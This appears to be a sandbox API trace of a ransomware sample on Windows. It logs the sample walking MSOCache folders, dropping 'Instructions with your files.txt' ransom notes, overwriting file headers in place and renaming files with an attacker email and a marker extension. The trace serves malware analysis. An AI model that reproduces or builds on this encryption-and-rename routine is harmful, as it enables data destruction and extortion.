[0053.916] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0053.916] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0053.916] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.916] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0053.917] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0053.918] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0053.918] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0053.918] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0053.918] CloseHandle (hObject=0x10c) returned 1
[0053.918] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0053.918] GetProcessHeap () returned 0x2e0000
[0053.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0053.918] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1
[0053.918] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned 66
[0053.918] GetProcessHeap () returned 0x2e0000
[0053.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0053.918] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*") returned 68
[0053.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0053.920] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.") returned 68
[0053.920] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0053.920] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0053.920] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0053.920] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..") returned 69
[0053.920] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0053.920] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0053.920] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
[0053.920] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81
[0053.920] StrStrIW (lpFirst="Office32WW.msi", lpSrch="SDfghjkl") returned 0x0
[0053.920] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.921] GetProcessHeap () returned 0x2e0000
[0053.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.921] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.934] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.934] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.934] GetProcessHeap () returned 0x2e0000
[0053.934] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.934] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.934] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.946] CloseHandle (hObject=0x10c) returned 1
[0053.946] GetProcessHeap () returned 0x2e0000
[0053.946] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.946] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0053.946] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.947] GetProcessHeap () returned 0x2e0000
[0053.947] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.947] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
[0053.947] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81
[0053.947] StrStrIW (lpFirst="Office32WW.xml", lpSrch="SDfghjkl") returned 0x0
[0053.947] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.947] GetProcessHeap () returned 0x2e0000
[0053.947] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.947] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x10b2, lpOverlapped=0x0) returned 1
[0053.955] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.955] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x10b2, lpOverlapped=0x0) returned 1
[0053.955] GetProcessHeap () returned 0x2e0000
[0053.955] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.955] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.955] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.956] CloseHandle (hObject=0x10c) returned 1
[0053.956] GetProcessHeap () returned 0x2e0000
[0053.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.956] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0053.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.956] GetProcessHeap () returned 0x2e0000
[0053.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.957] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
[0053.957] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74
[0053.957] StrStrIW (lpFirst="ose.exe", lpSrch="SDfghjkl") returned 0x0
[0053.957] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.962] GetProcessHeap () returned 0x2e0000
[0053.962] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.962] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.968] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.968] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.968] GetProcessHeap () returned 0x2e0000
[0053.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.968] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.968] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.969] CloseHandle (hObject=0x10c) returned 1
[0053.969] GetProcessHeap () returned 0x2e0000
[0053.969] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.970] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 116
[0053.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.970] GetProcessHeap () returned 0x2e0000
[0053.970] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.970] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
[0053.970] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77
[0053.970] StrStrIW (lpFirst="osetup.dll", lpSrch="SDfghjkl") returned 0x0
[0053.970] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.971] GetProcessHeap () returned 0x2e0000
[0053.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.971] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.973] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.973] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.973] GetProcessHeap () returned 0x2e0000
[0053.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.973] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.973] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.977] CloseHandle (hObject=0x10c) returned 1
[0053.977] GetProcessHeap () returned 0x2e0000
[0053.977] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.977] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0053.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.978] GetProcessHeap () returned 0x2e0000
[0053.978] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.978] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
[0053.978] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79
[0053.978] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch="SDfghjkl") returned 0x0
[0053.978] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.978] GetProcessHeap () returned 0x2e0000
[0053.978] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.978] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.981] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.981] GetProcessHeap () returned 0x2e0000
[0053.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.981] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.981] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.983] CloseHandle (hObject=0x10c) returned 1
[0053.983] GetProcessHeap () returned 0x2e0000
[0053.983] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.983] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0053.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.984] GetProcessHeap () returned 0x2e0000
[0053.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.984] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
[0053.984] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78
[0053.984] StrStrIW (lpFirst="PidGenX.dll", lpSrch="SDfghjkl") returned 0x0
